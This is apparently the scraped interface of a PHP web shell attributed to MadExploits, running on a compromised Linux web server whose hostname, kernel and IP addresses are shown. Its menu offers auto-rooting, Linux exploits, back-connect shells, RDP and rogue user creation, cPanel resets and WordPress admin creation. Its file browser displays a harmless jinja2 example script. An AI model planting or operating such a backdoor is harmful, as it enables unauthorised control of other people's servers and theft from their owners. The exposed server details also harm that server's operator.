Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.145.85.233
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-jinja2-2.7.2 /
examples /
basic /
[ HOME SHELL ]
Name
Size
Permission
Action
templates
[ DIR ]
drwxr-xr-x
cycle.py
277
B
-rw-r--r--
debugger.py
223
B
-rw-r--r--
inheritance.py
341
B
-rw-r--r--
test.py
611
B
-rw-r--r--
test_filter_and_linestatements...
445
B
-rw-r--r--
test_loop_filter.py
295
B
-rw-r--r--
translate.py
524
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_loop_filter.py
from jinja2 import Environment tmpl = Environment().from_string("""\ <ul> {%- for item in [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] if item % 2 == 0 %} <li>{{ loop.index }} / {{ loop.length }}: {{ item }}</li> {%- endfor %} </ul> if condition: {{ 1 if foo else 0 }} """) print tmpl.render(foo=True)
Close